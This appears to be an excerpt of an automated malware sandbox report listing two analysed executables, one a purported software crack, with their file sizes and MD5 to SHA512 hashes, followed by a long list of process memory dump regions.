              3e5ed6ee7458f4662dd9bbe572620fc591e69fbc6d8e98013ec0f39a95eb9da55561a232eea23192fbc59368b99f99ee6a00df23bcff253c327aa3eb607c7d7e

              Download Submit

            • \Users\Admin\AppData\Local\Temp\Primordial Crack.exe
              Filesize

              12.7MB

              MD5

              bbd6ffdb33259778f08704696a04891f

              SHA1

              0fd836bb4bfc035ff35ebe0fb47e4693cec9e8ba

              SHA256

              841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4

              SHA512

              1b66f11b3a3dea1e6a8f4f7ee493437a41e30704d1c80048efd245184a447fde6abf06fe45af0663a72b30b657a7297554df8c3af7b36ae2e0df21a5031a34e0

              Download Submit

            • \blockweb\portrefNet.exe
              Filesize

              2.2MB

              MD5

              84c6cb042dc58a109dfa2db8381bec28

              SHA1

              4a86e72e9d2c3e0c17cd3a09df754169f4b7ce31

              SHA256

              2e09ed806f9a7c57186872ab3715909437e2729500bc194e0a2cf3405c4cd5f0

              SHA512

              c8ef31a3eaeac8ef0faa043d0bdd085063d54572d0a7eefade08a9db5f97c397bb3270baca71817da9d91c0d1227fcee9ce019065bb5a66f20fed9d7349ab0ef

              Download Submit

            • memory/1704-99-0x0000000000220000-0x0000000000221000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1704-116-0x00000000003D0000-0x00000000003D1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1704-101-0x0000000000220000-0x0000000000221000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1704-104-0x0000000000230000-0x0000000000231000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1704-106-0x0000000000230000-0x0000000000231000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1704-109-0x0000000000240000-0x0000000000241000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1704-111-0x0000000000240000-0x0000000000241000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1704-114-0x00000000003D0000-0x00000000003D1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2076-25-0x0000000000400000-0x00000000010F7000-memory.dmp

              Filesize

              13.0MB

              Download

            • memory/2156-22-0x0000000001320000-0x0000000001360000-memory.dmp

              Filesize

              256KB

              Download

            • memory/2324-43-0x0000000000400000-0x00000000010BB000-memory.dmp

              Filesize

              12.7MB

              Download

            • memory/2724-76-0x0000000000290000-0x0000000000291000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-78-0x0000000000290000-0x0000000000291000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-53-0x00000000001C0000-0x00000000001C1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-51-0x00000000001C0000-0x00000000001C1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-50-0x00000000001B0000-0x00000000001B1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-48-0x00000000001B0000-0x00000000001B1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-58-0x00000000001D0000-0x00000000001D1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-60-0x00000000001D0000-0x00000000001D1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-63-0x00000000001E0000-0x00000000001E1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-65-0x00000000001E0000-0x00000000001E1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-68-0x00000000001F0000-0x00000000001F1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-70-0x00000000001F0000-0x00000000001F1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-73-0x0000000000200000-0x0000000000201000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-86-0x0000000000400000-0x0000000001B6B000-memory.dmp

              Filesize

              23.4MB

              Download

            • memory/2724-75-0x0000000000200000-0x0000000000201000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-55-0x00000000001C0000-0x00000000001C1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-80-0x0000000000290000-0x0000000000291000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-81-0x00000000002A0000-0x00000000002A1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-83-0x00000000002A0000-0x00000000002A1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-46-0x00000000001B0000-0x00000000001B1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2724-85-0x00000000002A0000-0x00000000002A1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2784-165-0x00000000002E0000-0x00000000002F6000-memory.dmp

              Filesize

              88KB

              Download

            • memory/2784-166-0x00000000005E0000-0x0000000000636000-memory.dmp

              Filesize

              344KB

              Download

            • memory/2784-167-0x0000000000160000-0x000000000016E000-memory.dmp

              Filesize

              56KB

              Download

            • memory/2784-169-0x0000000000310000-0x0000000000318000-memory.dmp

              Filesize

              32KB

              Download

            • memory/2784-168-0x0000000000300000-0x0000000000308000-memory.dmp

              Filesize

              32KB

              Download

            • memory/2784-164-0x0000000000140000-0x000000000015C000-memory.dmp

              Filesize

              112KB

              Download

            • memory/2784-163-0x00000000009E0000-0x0000000000C1A000-memory.dmp

              Filesize

              2.2MB

              Download

            • memory/2880-182-0x0000000001070000-0x00000000012AA000-memory.dmp

              Filesize

              2.2MB

              Download